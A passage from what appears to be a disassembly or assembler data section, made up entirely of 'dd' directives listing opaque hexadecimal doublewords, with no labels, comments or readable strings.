0F86BF05Ah dd 183EF84Eh, 31E8DCDAh, 24A03663h, 0C80EA1DFh, 8071F3C3h dd 789583CEh, 1D2D1F80h, 0F7E780F4h, 0B4DB5672h, 0CA0C1A01h dd 0F0514B35h, 589E389Ch, 0A644889h, 0DD1AF10Ch, 0E95E1869h dd 0C2813843h, 14148096h, 2F77BB9h, 2921CC5Eh, 2491816Ah dd 0B208722h, 99C50615h, 2A320C14h, 9876B01Bh, 36806B00h dd 1FDBE046h, 18810001h, 3C06AD04h, 70B55E20h, 5C8500D0h dd 0FB0E43ECh, 0C7F8B12h, 1E22A400h, 302BD0AAh, 0E4A3006Ah dd 847C3344h, 5500C80Dh, 3620C1E0h, 3E3F9257h, 1F80EC63h dd 4C6B428Dh, 620FB1C0h, 400DFD40h, 261E100Ah, 0EC5400D0h dd 0DCDF90C1h, 0F80031A3h, 0BC51205Ah, 4A5C29h, 0FA992A7Ch dd 0C67279F6h, 588BC8C0h, 33A478h, 20E9495Fh, 7E398D80h dd 0A8B6F400h, 95946A72h, 7C781F8Ch, 847680ECh, 0A10D2AC5h dd 9ADA360Fh, 502CA087h, 0F032E285h, 0B446008Dh, 0B85BF3DEh dd 651D897Dh, 50187E68h, 7BC2421h, 1FAEC5DEh, 18E626D2h dd 1E50C00h, 0F805CC91h, 0DACA00D6h, 7FAF18ACh, 0EF01E3A7h dd 22BCA15Bh, 0CF3028EDh, 0B951C054h, 96AB6D84h, 0FC1D7DF6h dd 60039427h, 87E7513Ch, 0AF2CCD0h, 2F8958A4h, 99B5D201h dd 8020FD8Dh, 92DDE640h, 5BF73DFh, 3C018E94h, 97A500E4h dd 33E80AF3h, 8DA938D8h, 0B7A53757h, 0C98538h, 0F7A3600Ch dd 0D8F87329h, 0A8C020E2h, 692554DCh, 300B076h, 0E0967A38h dd 101099C4h, 0A500A840h, 0F0F184D9h, 207E6ECh, 82696C35h dd 7CC1E490h, 33E78D2h, 63CBB9EDh, 7EC03B1Ch, 0E604033Fh dd 8467BE72h, 38A796C0h, 3AE8006Eh, 0B9BF07EDh, 9718FE2Ah dd 0A41856C3h, 30FD78EAh, 0B8101C93h, 0C7007A66h, 0C3D2193Ah dd 60E739E2h, 0BD6938F4h, 0C000AFACh, 4B57C2FFh, 3D8C6B6Ch dd 650F2579h, 23C644B3h, 23981882h, 0D3ED9402h, 80B22C04h dd 0D8E5E40Ch, 0FD3918A5h, 78C759E8h, 73F16600h, 7FFE2CCEh dd 6F6801B7h, 24BFBAE8h, 4708F03h, 0FDA80055h, 92F0DBh dd 69101E38h, 0ABDCD794h, 1B646F7Dh, 0C584EE78h, 0E0C9904Fh dd 5E2D4C82h, 8371C702h, 0EC8FB005h, 120FA5DBh, 8089D1E5h dd 776CBFDEh, 195400CBh, 0CF564A85h, 99000342h, 0D69DB792h dd 0F2343288h, 90DB0348h, 35374673h, 0C079C1E8h, 24383F04h dd 78060AAh, 2C293B0h, 6DBA8C2Fh, 26E08BB7h, 90015A59h dd 0A92309C0h, 70E0745Bh dd 637F0FE9h, 0BF601A06h, 0B1475261h, 0D5C29216h, 5D0006ECh dd 5F99A7B0h, 0BD003573h, 0B1FD80A6h, 7B1FCEh, 0D6AF4B84h dd 0C97ED7C1h, 0C4E0CBA3h, 8E07E088h, 90745810h, 1D65B2E0h dd 0FFDA0024h, 7199A679h, 0B700FE20h, 32A77A4Dh, 3C89BD82h dd 414C6752h, 0ABC7C79h, 0D7819778h, 4523E80h, 3A31B7A8h dd 77E2106Ah, 0CECC2221h, 0ED3F444h, 0F5D70A3h, 2CB79580h dd 0C100C998h, 0E71C33E2h, 1448765Eh, 0F74BBA91h, 8D00C24Ch dd 0C14277DEh, 9F72C9E8h, 7428E962h, 0A3E82F92h, 0BB400B88h dd 0A042CF22h, 289D1511h, 0C822284Fh, 118C42CDh, 63289F61h dd 0A3EF2214h, 2295D822h, 4722AA85h, 0B62E2243h, 4475C442h dd 51C69BA7h, 0EEF31Ah, 5F15DF37h, 74E1F711h, 2AD3DD00h dd 0FCF62862h, 0AB7861h, 9C2495A8h, 4C343172h, 23908200h dd 3CC787E7h, 0B670154h, 0C0B78AF6h, 0E5D4C404h, 581FDFE2h dd 2D40DE71h, 85AD3AA8h, 2EFE007Dh, 0B92B3224h, 0DD001E83h dd 18489CFBh, 0EC9ED26Ah, 0BBE00034h, 0D89538AFh, 46005514h dd 563BE806h, 0F70D499h, 0E204CDD5h, 5360007Fh, 0FABFB372h dd 0E46C2D03h, 99AA2BCCh, 83C0AE56h, 538800EDh, 300E1FD6h dd 2304E2Fh, 192C1151h, 0A49B0003h, 1CD7DDF2h, 0B800B4F5h dd 48530B52h, 0E784088h, 0AB99C664h, 44C5C60h, 61005968h dd 90E28E7Fh, 0B4DAF32h, 0C2E8EFA8h, 0D200B38Bh, 5280844Fh dd 26750AF4h, 2C017F00h, 0F732AC62h, 0CA653CD6h, 0DB986C8Eh dd 0B008D8C7h, 680D9420h, 0BA00AB78h, 1942062Eh, 0B4E5FAh dd 0D2884797h, 8AB90483h, 67689C00h, 0E6D9F82Fh, 0FCD3001Dh dd 2BFD1219h, 0DC002C6Bh, 20295AFAh, 0F8942A0h, 82379E7Ch dd 74F6F020h, 473C3BFFh, 0E0C13F85h, 730CE1D0h, 0E31F008Bh dd 74840D4Eh, 18009272h, 9C291907h, 30E0F52h, 0E1DA9EBCh dd 0C0FF9679h, 349B5F91h, 0D2FD7500h, 427F35CFh, 0DE80060h dd 8F740AC2h, 520EDF41h, 6098A2DEh, 0B0FCF740h, 0AB6A00F9h dd 0AC12B8Ch, 8E09290Bh, 81F838D2h, 9634283Ah, 0C02D76E0h dd 6518E020h, 0C0243AACh, 7A1CE7BBh, 4089A080h, 28BA5D99h dd 74BFB7C8h, 70417D58h, 0BCE628h, 3B798B7Fh, 0E0FA7807h dd 0E7E3A41Eh, 2E703400h, 0F22F2591h, 713D6EF1h, 4004CCE4h dd 2C3FC635h, 0D5C002Eh, 0C533CF43h, 9E031FA0h, 0BCA5B4FCh dd 4A7FC877h, 0A95700B8h, 4B98E80Dh, 2800E660h, 0C3E90908h dd 3B35D9h, 0AD4EF5D4h, 8ABFA7EAh, 0CE458426h, 7A2BF000h dd 32BD36h, 474920BAh, 4C987B2Fh, 0F8ED6B00h, 0F5074AC5h dd 97560B13h, 77804046h, 0DEB6BA27h, 88842B00h, 7F4E4B2Fh dd 0E05F0280h, 2C633E90h, 54228580h, 1D004C6Fh, 117B4021h dd 39684Dh, 0A17DF7E3h, 0D55BAFB8h, 44034B7Fh, 4EB0BBBCh dd 107AEBh, 5416B987h, 0F19CB4D2h, 0C1DABF00h, 222413F0h dd 66D30033h, 2A449835h, 0FCA8A7D7h, 72012825h, 8FF213F7h dd 0A6E04546h, 1DCA00ECh, 10188BD7h, 9200B3D3h, 0E4330C4Ah dd 0EE392A30h, 0EF160151h, 5A75EB12h, 0CF0C3082h, 0F6008FECh dd 1C89457Bh, 815D0Ah, 3770012Bh, 40BB54FAh, 6C9F8F00h dd 0A022BAF4h, 6FED00CEh, 0BDEA961Fh, 400AB94h, 75F6FEC5h dd 7F5AC9E5h, 81E601DCh, 0B143F53Dh, 369FD0AFh, 5480D78h dd 0F2DD03BCh, 0D0A53942h, 0D97E92h, 2B1B066Bh, 5B3E859Ah dd 9D4D7900h, 7CF5E5F6h, 84C0A362h, 7F080C8h, 0C97AFB3Eh dd 399680ACh, 0D1482EA6h, 757B7794h, 0C832DB00h, 79C7E767h dd 0D33F1E56h, 8459C09Eh, 30E9B47h, 0A59F1100h, 558242D0h dd 7F9300ADh, 6FEC76B4h, 93D5484h, 0D191001Eh, 0E5882C90h dd 759F29Fh, 48711230h, 5B8970DCh, 28C009EBh, 0CAF6E76Ch dd 0C3A00EB1h, 3F8CB2FEh, 0FB003002h, 16715FDCh, 671CB491h dd 0D5909035h, 37C80FECh, 0E04D0111h, 7977752h, 0C098599Ch dd 1202710Ah, 1403AB9Ah, 0E0B30EF5h, 0CBD7A304h, 748EC064h dd 4C09B067h, 1200C4A4h, 0D92D59ECh, 0A204E739h, 0B3286C0Fh dd 761388C0h, 0AA56006Ah, 9D186105h, 0B0D185h, 0D832331Eh dd 7FE42AC0h, 721284Bh, 0F95F15Dh, 20EC027h, 0DA01E607h dd 64739422h, 35DC50B5h, 0EB38246Dh, 0E30E00C9h, 192266A1h dd 4CE4D000h, 0D43E2689h, 13FE0033h, 0F6C1C428h, 3C00F7E7h dd 0FCB0196h, 0FA5980h, 0D77EC70Ch, 0F241B638h, 14C11000h dd 40CB33FDh, 0DD170089h, 88AC4B01h, 7C0004F5h, 6E54CE92h dd 3F062h, 5CE4A741h, 56ABC776h, 0A0C92B2Ch, 8434A407h dd 69092DE0h, 0BCB039h, 8BAB31C2h, 0CABAC53Ch, 120D348h dd 0EDD40A48h, 0DECC5EE2h, 9CEC6Ah, 38CC194Eh, 0AC3C94Bh dd 2E59C600h, 58A9895Fh, 1EE01FAh, 0E7D230D8h, 2DAFF8B0h dd 77028800h, 732CFC22h, 92451C6Dh, 0CDC64391h, 0FF811C37h dd 3910608Eh, 5019CF00h, 25F5B12Eh, 0F84C4980h, 9112CE02h dd 0D84081EDh, 0EE01F372h, 1ADF8C44h, 0BADCDC15h, 0C2320E02h dd 9F40B5FBh, 0CDD9E8ACh, 3DC93C00h, 0CEF8A2B2h, 8A5B0035h dd 9EFD74D5h, 4600FB5Ah, 6D97CADAh, 18553221h, 0A247E7F7h dd 0EA01F378h, 0E1EB62FEh, 0EA80B128h, 4D1FAC58h, 0FD9818F6h dd 1B0B2A00h, 6F8D6BCAh, 71B7EE7Ch, 0F7591EEAh, 4C8300CDh dd 761011E5h, 800A173Dh, 997703B4h, 564941h, 6EC2AE86h dd 7496BD7Eh, 0F4ACCB07h, 720975Ch, 1FEBB158h, 40CD296Ch dd 40CF5176h, 0E2001C9Dh, 2B3390A7h, 57AD5Bh, 0FDC51B4Eh dd 0AE8517E3h, 1EED8200h, 0D8B57869h, 860300F9h, 4E5C9608h dd 6A05F581h, 1992FB18h, 0AC0C26C0h, 90252C8Eh, 688C80BCh dd 6509933Ch, 55EBB902h, 60574910h, 0E76978h, 4D24458Dh dd 0C5C66EB0h, 2D5AFF03h, 8A50F037h, 3546152h, 0D06A4280h dd 534B5C0h, 687989E8h, 5FB4151Eh, 45EAC900h, 18CB30h dd 1FA34FF6h, 0D78B0602h, 0F45D2000h, 0FB761712h, 243B0B66h dd 140FBCAAh, 0DABB9CC0h, 1438C5C4h, 2EE29E23h, 6735F84Fh dd 0DCB78801h, 8072A07Fh, 5B5068Bh, 0DF4B0AD9h, 0F388C0E6h dd 1CFC77F1h, 3A9B503Dh, 4CA0F7Ah, 0C32E20F4h, 9548EEh dd 0BFC24E69h, 0F6236E5Fh, 706F8E00h, 9B30A5CAh, 42330221h dd 0BAB7374Dh, 0EFE46540h, 0DD6DA200h, 89111F27h, 0E5002E1h dd 610A8CEh, 3A38AC40h, 69F93400h, 0F2C9DF21h, 0A11F0328h dd 0C6C0CB65h, 0F7FD1CB0h, 8B10B707h, 3B40A5D8h, 32027E8h dd 7CF9397Eh, 63A005FFh, 0E414B738h, 16B87831h, 7000CB59h dd 52D069A6h, 3BE80185h, 118F97C8h, 7759FC1Dh, 41213Ch dd 9F1A3A4Bh, 1DF9317h, 0F3BE7C63h, 0E8EC795Eh, 0DA4CCAB8h dd 0A1730384h, 886251A2h, 2C9FD354h, 0F444978h, 5363DF92h dd 3DC8B6D6h, 0CA2CE8D1h, 8300A02Ch, 3BB8D204h, 4FB0008Fh dd 19E71746h, 84073C87h, 3DF91E95h, 0DF70E60h, 0D35E00C0h dd 923B20A3h, 2F00A4AFh, 83D795Dh, 2545F9h, 9F9083E6h dd 56FE5788h, 5384600h, 0B50481ABh, 73960052h, 0C19B7B65h dd 6A13BAFFh, 0F0F365Fh, 552A2527h, 4063DDC2h, 1F1FD572h dd 5609D0h, 7E5EDDDAh, 470026F5h, 0A8EBF0AAh, 1F0275E2h dd 807982C6h, 0EE08D577h, 0BB0066AEh, 93EDA6D2h, 0CE6207h dd 9D7D058Dh, 652E5517h, 0F9296909h, 3933004Ah, 3E31220h dd 0AB32D2F6h, 1FA86E1Ch, 2550509Fh, 24EBC894h, 7601CE4Ch dd 6ECD6977h, 20301E04h dd 61580044h, 5E5C1F7Fh, 0F100D8A4h, 0D1EE0270h, 0EAA66Ch dd 0E903799Ah, 9C4D67CEh, 2CCF9200h, 18A5BDBAh, 0CDA400D2h dd 0DAADE135h, 0B500A232h, 0B62746A3h, 3AF8C9Eh, 0CA830BC8h dd 6DB8B910h, 6B04CFAEh, 0F276AD8Bh, 8507B4C0h, 16DC0090h dd 0BC779574h, 0D60523A8h, 0FEAD8F20h, 70254EC0h, 0C4D8F5E2h dd 0A2B160E3h, 7EAB9015h, 54BE0B00h, 0AE8E1730h, 0D3E30010h dd 0CEF5412Eh, 0CB00DC25h, 812C6E96h, 3C2D649h, 7582704h dd 3D9BECFCh, 61913E0h, 689B1C0Fh, 84B4203Eh, 74A0123h dd 0D826AADAh, 4293A072h, 0DFFCC71Bh, 1A00317Ah, 30985FEEh dd 79F4CEh, 0C2187687h, 6413DEDAh, 0CA00FDF6h, 9194866Ah dd 3899C0C7h, 981D5B9h, 31F6054Ah, 77282049h, 212BC501h dd 67CB233Ah, 0DFB420h, 0E5BE1160h, 0A120C2ACh, 0CCEED40Eh dd 0FBC1A09Fh, 0CEFCD91h, 0FE7765B9h, 0DA002F3Ch, 0CA3FCB55h dd 3030393Ch, 0E9106BCDh, 96263807h, 1C0F6C42h, 0C4DC4170h dd 6C60AFB7h, 5EE7003Eh, 0C23CE53Dh, 0E100C50Eh, 0D55D0AF9h dd 1D45BFh, 627F802Ch, 234450D0h, 0FE27BD1Fh, 0E3898340h dd 6D2A842h, 1BD63808h, 0A900C05Fh, 0CC5BB495h, 527A97h dd 99557B59h, 2EF2373Eh, 3C91DC0Eh, 0CD6FC07Dh, 8C39Ah dd 0B17ED098h, 53B2C403h, 49C55907h, 9E461646h, 91C30518h dd 0C0CCD95Ch, 0F0AEAA34h, 0A02FBF03h, 0B7AFFh, 838F6919h dd 0F991AAB6h, 0E40F271Fh, 92C68480h, 35E8F7h, 6F56961Ah dd 2350EF81h, 0BE2BDC01h, 668CD15Ah, 0A09FC080h, 0ECA4FED0h dd 62608200h, 5D0CAD14h, 3B8100E1h, 0F9AE0D50h, 3C003724h dd 1BEF7BE2h, 3FF0A16h, 0F07AFC0Bh, 107A2B0Eh, 0D6F9470Ah dd 5C00C0BFh, 0C4DD7FB2h, 0BDC228F8h, 261300BDh, 1D59F330h dd 78BD5AA2h, 2F83009Fh, 7E43A7A1h, 0BD1C2432h, 4D405DB5h dd 71681188h, 9D9C9491h, 1B04809Ah, 6105F4C3h, 4B26B804h dd 0F08052E3h, 14F2249h, 0B7F87A84h, 0FE09C337h, 0A0DC898h dd 76EA7103h, 0D0707F9Ah, 0B8983340h, 2EC37D60h, 0E8632Ah dd 92C51A08h, 0E7181452h, 0FC363E03h, 0ED6F008Bh, 0CE70998Dh dd 8007D3Bh, 2D06CBFBh, 1EFD7341h, 0FE17B4h, 6AF27FAEh dd 0EE1DDF1Ch, 96C00C09h, 0E6F71A6Bh, 0CFA002FAh, 33F432F3h dd 0A94CB4C0h, 0C4885C00h, 6A1827ACh, 3A5ECA4h, 0AF91FCCAh dd 68E08A47h, 0B14BD92Bh, 0E3523B0h, 0B29E0228h, 2E56CC63h dd 0C15BF6C9h, 0A1FC700Bh, 72C4873Dh, 0EB1C00B8h, 0F7C072B9h dd 9BA882DBh, 5981001Ah, 2D37430Ah, 451E8F07h, 31C00190h dd 5AFC6DC3h, 80580093h, 23B304Ch, 64946438h, 0FD846100h dd 0D35F12h, 8C77F7F0h, 0C63A37C5h, 50CF7924h, 0B5C49400h dd 0F8903CA8h, 30052503h, 0C326D805h, 0C81F234h, 855CEC8Ch dd 0D33E8A00h, 10C67F9Eh, 0FB2838CAh, 0B833BB8Fh, 0DAC9B07Fh dd 0B703DEC8h, 8CFDEBA2h, 62F3980Ah, 0E008B816h, 0E63101D2h dd 38094AC9h, 3F2430FEh, 2E5F100Bh, 92EC0001h, 2CDC9954h dd 99B79E1h, 8C4076D0h, 2000AF89h, 8B549E74h, 6FF160h dd 99B723Bh, 1584165Ch, 698AB38h, 240A05DBh, 45FF01B0h dd 937CF03Dh, 0D8F0207Eh, 880D5A2Eh, 0CAE42B80h, 2E30E3Fh dd 3C446DFh, 1CE05DCCh, 0DEFAD01Eh, 50AF9300h, 0D1D3A95Bh dd 33680064h, 0BFFEFAF5h, 9B00A5F9h, 4D7EF791h, 0B7E153h dd 62F57584h, 61597746h, 6011D702h, 0E1150DEDh, 2D067F0h dd 2EC30987h, 3E00A273h, 78E58C06h, 44E8C8ECh, 0F41CD624h dd 3D83E380h, 0FBD2666h, 0C962237Ch, 1FCF9620h, 0E22EA705h dd 0EE020154h, 0E2DE8B34h, 109E84AAh, 0A8F5C883h, 0E1B80Ch dd 0CD7940BDh, 0F4A502A6h, 0E817B907h, 39B37057h, 32313EA0h dd 51CC2Eh, 0F8A2D5FEh, 3D00F599h, 80564FD7h, 3C8BDAh dd 6C4492B2h, 0BF6AE8BAh, 3101B500h, 60281CDFh, 18B20002h dd 0A0C67DBEh, 0E7E87750h, 0FD3EA609h, 0D781576Ch, 6060BE2Eh dd 0A07BC3BCh, 0E4F15E00h, 346FE051h, 26270036h, 31FFF69Ch dd 0E51266D6h, 10077909h, 0BC24161h, 38906064h, 44A00229h dd 0D375C587h, 5D009CD0h, 1095F1DFh, 7CE3FF0Fh, 0A132EA3h dd 2A1900D4h, 0F238D85Bh, 0C918F60Fh, 0AD49FF82h, 338C825Ah dd 0C3B440B1h, 0A5F7FD0h, 9ACBB7CAh, 174D01B8h, 300C2EF8h dd 0D4580A00h, 0F8992620h, 25463780h, 0B9D583h, 0EA5D5C11h dd 937442A3h, 54C68E07h, 1A30386Ch, 75F9EF1h, 2C850666h dd 0ABFB904Ah, 0BF1DE0A7h, 0C9807F62h, 55D27E2h, 3A951FFCh dd 40D1976Ch, 692596E0h, 0C00FC8EBh, 7B15317h, 5590212Fh dd 749A5120h, 9F76303Ch, 2BFB6610h, 84B8A1F4h, 58FF1C00h dd 26E6730Ch, 0D2C400D0h, 10276239h, 1A000FD3h, 4F6A24E4h dd 3CA336E8h, 5D811113h, 17D8EC7Dh, 6159819Eh, 0BAC388A2h dd 2045B840h, 81890021h, 87AF30C7h, 0C6ECCDADh, 7992EA00h dd 0CA166FDBh, 12BD000Ch, 51D2E4E2h, 59EE1E26h, 7C07134Bh dd 1BB1831h, 61505DE0h, 0F6EB9300h, 0ADFC8E50h, 31E82Fh dd 0B2466C0Ch, 58C0000Ch, 240706A4h, 6F1714D6h, 3413C6D7h dd 0B8FD2200h, 0E69479BBh, 0E1190FD3h, 664075FAh, 9791C4E4h dd 0E07BF701h, 0F37E2B9Eh, 744B060h, 0AD22986Eh, 8ABDD317h dd 0CD563AC0h, 1FFFD43Ch, 33CEC3A1h, 0CF640E39h, 1C0D6104h dd 8830E314h, 3AA6023Ch, 27B35533h, 0A93008C0h, 250AD800h dd 5F60662Ah, 0DE4A18FCh, 0EB42C6A3h, 0D2DB6500h, 22ABF326h dd 19E326EFh, 0FD8D0124h, 71526Ah, 16040623h, 0C211C1F1h dd 20701908h, 0EE70FA09h, 3C59F808h, 0E42E54F9h, 0B1108018h dd 0FFDF72F0h, 1A636918h, 7ACE7710h, 6C2848FCh, 76EC5101h dd 0F4CD2255h, 0AE0E07E3h, 9EFCE213h, 0D36D9480h, 0F699A1CAh dd 0C5F4C08Ah, 6E2D38F4h, 6164E800h, 3FD11A25h, 13D70071h dd 0EB2A52ADh, 0A30063A8h, 1618E7F0h, 0FE41F5FDh, 0FB0C02E5h dd 6234024Fh, 0A5DA2040h, 0B3580300h, 296699E3h, 3B51000Dh dd 625087EEh, 0D678197Ch, 0A2443607h, 0F270CD7Dh, 26FE5547h dd 800C0E16h, 1326539Fh, 9A0032A9h, 51459772h, 5B3CF982h dd 35280212h, 28C8E749h, 2202D5C6h, 970CB1E5h, 0ECB87887h dd 63B813CBh, 5A184FC5h, 0A5C8BB02h, 0D54CA041h, 15D6E89Eh dd 0F808AC24h, 475313h, 5B576B38h, 0E5AA5Ch, 0F2E4F98h dd 1B518DA8h, 6AF52700h, 3422AC39h, 0E16100C8h, 531FD09Eh dd 1900815Eh, 66E7EF5Dh, 0B641CEh, 0AC835BCh, 53F9CC84h dd 2BDBDD00h, 9CE2FBE1h, 0AFD0C069h, 132F20F1h, 0B0F2DC04h dd 0B4C1A5B3h, 0CBF4D18Eh, 3F9D019Eh, 0CE67D32Ah, 25CC2851h dd 6CD40725h, 3BFDC061h, 28391081h, 30846668h, 612FEC84h dd 4894AFh, 58B56963h, 0B6D4C9F3h, 7DF11900h, 0EFA6BD76h dd 5F93E0Bh, 9FBC3E3Dh, 35CE2580h, 6EEA1E14h, 0AC11F00h dd 0A14D10D8h, 0C9A60EC5h, 3E91F4h, 6B525A19h, 5CEC8780h dd 0B4A7620Fh, 4817E1F8h, 0F0EFA2EDh, 1FCC3EBh, 7C731AABh dd 80D6A54Ch, 118D3B40h, 0F09DB598h, 69BB09EFh, 3050786Bh dd 0B100FBEEh, 35378713h, 12CC17h, 9EFD9B7Ah, 58AD55EFh dd 8132EB13h, 0E0903457h, 1833CB25h, 0DC185CC6h, 3200C798h dd 0AA43D9E9h, 0E4A17B0Ch, 0E0B8F3h, 0EE32536h, 5A2B0491h dd 9C49B800h, 5E8BA0F1h, 68D86106h, 207D3D95h, 9A0FB558h dd 0F2DA0F6Fh, 20C84840h dd 0FE8D29Fh, 8BC43B47h, 90FEF0E4h, 0C2F2034Ch, 498034F7h dd 98A55509h, 41870C38h, 0B6EA004Fh, 0F07A5785h, 9B004EB1h dd 0C676981Bh, 70FB5h, 8FEBD7ACh, 0FFCB7795h, 88A8B000h dd 112A8C14h, 0F598011Ah, 8E4F4E9Ch, 20AC40D5h, 0A5004BABh dd 2BCD99AAh, 1C4F3F8h, 82ECA32Ch, 2AA79D5Eh, 0B07ED873h dd 15C049Ah, 661D2B6Fh, 0CC2C623Ah, 51030517h, 0E43D10C6h dd 0A4309006h, 2C103E9h, 0F8BE59E5h, 0E753ADA8h, 8934BC02h dd 418EAB0Dh, 61DC329Fh, 0B20900B4h, 2FAA8C58h, 9C0071DBh dd 0CEC6163Eh, 4E0E3Bh, 3336B013h, 0C406FA3Fh, 4BA1500h dd 0AF8D58EDh, 9DC80018h, 89EB6D95h, 53013914h, 386E27B7h dd 0CA21CEFAh, 4FB317DCh, 0C2CC0030h, 1B247C86h, 0A4C440FFh dd 0E0102D6h, 0E9614105h, 1C207F7Ah, 7C372614h, 0C6A20F8Eh dd 0B883B2E3h, 61030AC0h, 0CC45F900h, 0FDCD87D4h, 6C9E0CCAh dd 862EB773h, 56C24E07h, 3BB1F135h, 3E609BEAh, 0DAF40CD1h dd 3721B7A7h, 742E5800h, 0F890136h, 122D01D4h, 1605E28Ah dd 503F60D5h, 6FEBC400h, 0D32C9E11h, 0C0240F4Ah, 8D4394F2h dd 0C9C01965h, 4D3B2E5Eh, 42180C2h, 0B3F48240h, 10DF1F33h dd 4737079Eh, 0EA7A329Dh, 0BE5060F8h, 88C9EDE0h, 0E2850BBh dd 0D04AFD7Bh, 0D9604DCFh, 95B30B11h, 159D5C01h, 0F53EAA4h dd 7972C8h, 73449745h, 0F5A2B8B5h, 0A4E27539h, 871CB862h dd 9C1DD183h, 560BB085h, 77F30065h, 72849E8Ch, 0F60082BDh dd 0FB28767Ch, 269516B8h, 8074ACE7h, 0B4CDF3D3h, 2C0FCEF6h dd 4B5F3212h, 556C012Dh, 99CC5238h, 0D82800DDh, 822440FAh dd 0A4070462h, 10D60832h, 0CADA5AE1h, 190A8CCh, 2384E61Fh dd 0C6E39126h, 0EF646C48h, 78009E7Bh, 0DA639B38h, 25C0BAFBh dd 0FC42B849h, 0C4A0B4C2h, 0DC5CD85Fh, 56AF7400h, 899BE459h dd 0D71A0496h, 0C0C82DB2h, 86A35C60h, 71B07BECh, 246DE913h dd 0CB154040h, 0C0924965h, 567D0F51h, 3016E3Eh, 0F12EA066h dd 0DD20311Ah, 95E1007Bh, 94A20264h, 0E81682CBh, 0F84EE53Bh dd 0E3D3007Eh, 0A1B2FEh, 2F3039C2h, 0E82114F2h, 4DAEB000h dd 0D1F095FFh, 0F4300C9h, 0AFEB49D0h, 0BD002667h, 0BC75CB61h dd 398645A2h, 5A92CD04h, 0C0631C72h, 6A984D9Dh, 0D32C2983h dd 8800485Eh, 6BF22DA7h, 339F0930h, 60A0828Ch, 0C7B5DE57h dd 0A0603Dh, 0BE166E2h, 1D9639B7h, 40A24A76h, 0C3F7BCD5h dd 8800AA03h, 0E542F6A6h, 179E2ED3h, 0BF569Bh, 0D2628D56h dd 0F2011088h, 365C6097h, 82D069F7h, 0FD9838h, 72FE9EA7h dd 0B050F86Eh, 0F67EF498h, 0CB7CF914h, 0A3C0091h, 94D801EDh dd 330900B0h, 85471C56h, 6002455h, 66845CD9h, 0B88A5B88h dd 0CF0C300Eh, 0AABE5429h, 0FD466A00h, 0F3E104CDh, 967216A3h dd 0C6B85Ah, 3667FF33h, 941113C1h, 570B8078h, 8DEC7F83h dd 0CB21400h, 6A6640C8h, 991800B9h, 686113F8h, 6E00EC4Bh dd 856971FFh, 72568A20h, 0C8B834h, 49BFEF72h, 403F5225h dd 3D12D890h, 0F400451Ah, 0A0157D19h, 9273723Ch, 0AC220060h dd 2ADD6479h, 0C0001610h, 34C39D9Fh, 328215Eh, 88D8EF15h dd 0EC3A2FAFh, 0C0506ED5h, 0C3C52DFBh, 4AF000E8h, 3438B25Ch dd 1400CAE4h, 0CC247B2Bh, 3AB05EC5h, 0AB009C4Fh, 53722FADh dd 401D41E9h, 8BC3BBD8h, 0C883BE13h, 7A4E066h, 5B187C2Bh dd 467411A0h, 4311803Eh, 0DBCA706Ah, 89933D2Fh, 0F1E25380h dd 3AE14021h, 0D94A7402h, 4825AD09h, 113C94h, 0BAD2BB5Bh dd 0A74ACAE9h, 7E128AEAh, 0DC409E3Fh, 0C93BBB30h, 704400B5h dd 7827E49Ah, 3903165h, 0BD365001h, 0EB90BBA7h, 0E6D958F8h dd 9431E08h, 5D55C5C8h, 3E8E01CCh, 0D360D1D5h, 0C8FF5FA9h dd 9AEA1FD6h, 63472D48h, 0B8437011h, 1DE7BD7Eh, 9492C338h dd 0B064E179h, 43BCB011h, 88572400h, 192D55DEh, 327BC9h dd 27AF5D5Eh, 2C1828B0h, 8D7C5100h, 2B489DBEh, 0CA8C58B7h dd 0C4A82Eh, 0FC2D2A57h, 0ED006D32h, 772EE3F9h, 1E9473Dh dd 856568A7h, 0E2F77B06h, 4C89C0E0h, 8D00BD7Ch, 784B7EE1h dd 1E97B4BBh, 424EFEDBh, 0AA39FD73h, 84019440h, 91F39902h dd 7BBA1F41h, 49060018h, 0CF81F763h, 0E12E16EAh, 0F90028C2h dd 28D7EA46h, 277526CDh, 1E3005Ch, 0B1EEAA68h, 2048DC02h dd 0C8C59ED3h, 931CC8h, 818A0391h, 0EE4C7B28h, 0EF7C0898h dd 98839D01h, 1FD9C160h, 61EAC040h, 8D800156h, 0B43D7D7Ch dd 0E018A020h, 0D952C800h, 0FB95EA1Bh, 34A9009Eh, 65617596h dd 933DC3EBh, 0AE2580F8h, 49E55688h, 9D960081h, 0DA902E09h dd 80029428h, 44A35564h, 0B21840B6h, 0D33E3C45h, 0B00BD880h dd 99C5FCAFh, 3FF7E701h, 786B149Fh, 3A3BE471h, 0C218C400h dd 715DDE30h, 0B4D1D913h, 89C16A00h, 2129E81h, 497B2A5h dd 0F4803F87h, 0E5AD2AA3h, 57B67F2h, 689FB501h, 96A9F631h dd 4106E4h, 0F177CB9Dh, 5DE0EF2Fh, 45932D00h, 36CA0F1Eh dd 420900D7h, 0F2DB1722h, 0B8257406h, 5BE060F5h, 56AE0985h dd 0A020AB44h, 0A4D82C0Eh, 4CA5E03h, 0E8C02B26h, 345F4EAEh dd 80AEF0CEh, 0C7F65D0Dh, 28C90231h, 0DEF43963h, 0D751CFEh dd 6D807AC4h, 0A0E5CC36h, 0B37C06E9h, 9509BDEAh, 3F85DF1h dd 8C6391A4h, 0D71380ECh, 87FC07EBh, 3C00BBBEh, 984FBA53h dd 9B024302h, 60041F6Fh, 0DA063Ah, 0AA85AF63h, 0FB0DFD75h dd 500B0700h, 67D42CA2h, 427F0095h, 32E5346Eh, 8448D283h dd 937A0184h, 0E63F9441h, 71EDE9C0h, 4F7791h, 8972F6F5h dd 0B1B31E21h, 82B73800h, 2EC29D87h, 9B7B0163h, 511378CFh dd 0C3CC402Fh, 29394E8Eh, 3BE700A1h, 1E5FABE8h, 18F7DD3h dd 3AF2715Eh, 70DA1F7Ah, 727DFAFAh, 30E49F2Ch, 2BC12600h dd 0F7AFEADDh, 2D24DCh, 0FFF4863Eh, 8135D962h, 5D975400h dd 12478DC1h, 0DCB300BCh, 0B6A19432h, 4273DEA0h, 6053F724h dd 5A786501h, 0BA017D8Bh, 98A4434Ch, 0B1C975DBh, 0BD508150h dd 48838A73h, 12419CE0h, 20C8720Ch, 2D94918Ch, 44B1A300h dd 9CA7E701h, 0EA180035h, 0C3F30916h, 742FE404h, 0D8D800C5h dd 1072B66h, 0C9C6E8ABh, 0F426384Eh, 809D47D7h, 0F88BCC4Ch dd 8E3A00CBh, 2B93E0DDh, 36008A10h, 0CC58ED50h, 0D92901h dd 6426FC17h, 0B103C8D0h, 8D37E900h, 9C4F5C1h, 0E4F1000Bh dd 0DFE54FD4h, 0E00EB316h, 80414394h, 